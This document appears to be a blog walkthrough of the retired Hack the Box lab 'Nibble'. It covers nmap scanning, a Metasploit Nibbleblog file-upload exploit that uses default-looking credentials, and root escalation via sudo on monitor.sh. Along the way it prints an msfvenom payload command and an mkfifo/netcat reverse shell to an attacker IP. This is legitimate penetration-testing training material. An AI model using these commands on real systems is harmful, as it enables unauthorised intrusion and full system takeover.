E Exploits


Notice: Undefined property: stdClass::$image_intro in /home/clients/927daf54a4b4d971671d983799f12cde/web/templates/shaper_newedge/html/layouts/joomla/content/full_image.php on line 34

Hack the Box Challenge: Nibble Walkthrough

Hello friends!! Today we are going to solve another CTF challenge “Nibble” which is categories as retired lab presented by Hack the Box for making online penetration practices. 

Level: Easy

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Nibble is 10.10.10.75 so let’s initiate with nmap port enumeration.

nmap -A 10.10.10.75

As you can see in the given screenshot that we have two services running on our Target Machine, ssh and HTTP on ports 22 and 80 respectively.

image

The Port 80 is open so let’s open IP in out Browser to see that if a website is hosted on the IP. After opening the IP in the browser, we were greeted by following page.

image

Then we use curl to send http request on http://10.10.10.75 and notice /nibbleblog/ which could be any web directory.

image

So we execute the http://10.10.10.75/nibbleblog/ directory put us on the main page of a blogging platform NibbleBlog Yum yum. Without wasting time search for the exploit in the Google and Rapid 7 link for its exploitation.

image

So we load metasploit framework and executed following command to take meterpreter session of victim’s VM.

According to this module Nibbleblog contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. This module was tested on version 4.0.3.

use exploit/multi/http/nibbleblog_file_upload
msf exploit(multi/http/nibbleblog_file_upload) > set rhost 10.10.10.75
msf exploit(multi/http/nibbleblog_file_upload) > set username admin
msf exploit(multi/http/nibbleblog_file_upload) > set password nibbles
msf exploit(multi/http/nibbleblog_file_upload) > set targeturi /nibbleblog
msf exploit(multi/http/nibbleblog_file_upload) > exploit

From given below image you can observe meterpreter session1 opened for accessing victim tty shell.

Now let’s finish the task by grabbing user.txt and root.txt file. First I move into /home directory and check available files and directories inside it. I found the 1st flag “user.txt” from inside /home/nibbler.

cd /home
cd /nibbler
cat user.txt

image

For spawning proper tty shell of target’s system we need to import python file, therefore, I run following command inside meterpreter shell.

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
ls

Inside /nibbler there was a zip file so we try to unzip it with help of following command and after extracting zip file we got a directory “personal”, so we get inside it, then with a little more efforts found a script monitor.sh.

unzip personal.zip
cd personal
ls
cd stuff
ls -al

image

Then I check sudo rights for user “nibbler” and notice nibbler has sudo permission for script monitor.sh which means he can modify this script

image

So in a new terminal we generated a payload for netcat shell with help of msfvenom command as shown and copied the highlighted code and start necat listener too.

msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.25 lport=5555 R

nc -lvp 5555

image

Then to it exploit it we move inside following Path: /home/nibbler/personal/stuff/ and paste above copied code inside monitor.sh as shown below

cd /home/nibbler/personal/stuff/
echo "mkfifo /tmp/jswwrii; nc 10.10.14.25 5555 0</tmp/jswwrii | /bin/sh >/tmp/jswwrii 2>&1; rm /tmp/jswwrii" > monitor.sh

Since we knew monitor.sh has full permission, so we can run it to obtain reverse shell along root access.

image

On other we have netcat listener, which has provided root access to us. Let’s finish this task and grab the root.txt file………………………………..

id
cd /root
ls
root.txt
cat root.txt

image

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

The post Hack the Box Challenge: Nibble Walkthrough appeared first on Hacking Articles.

Read more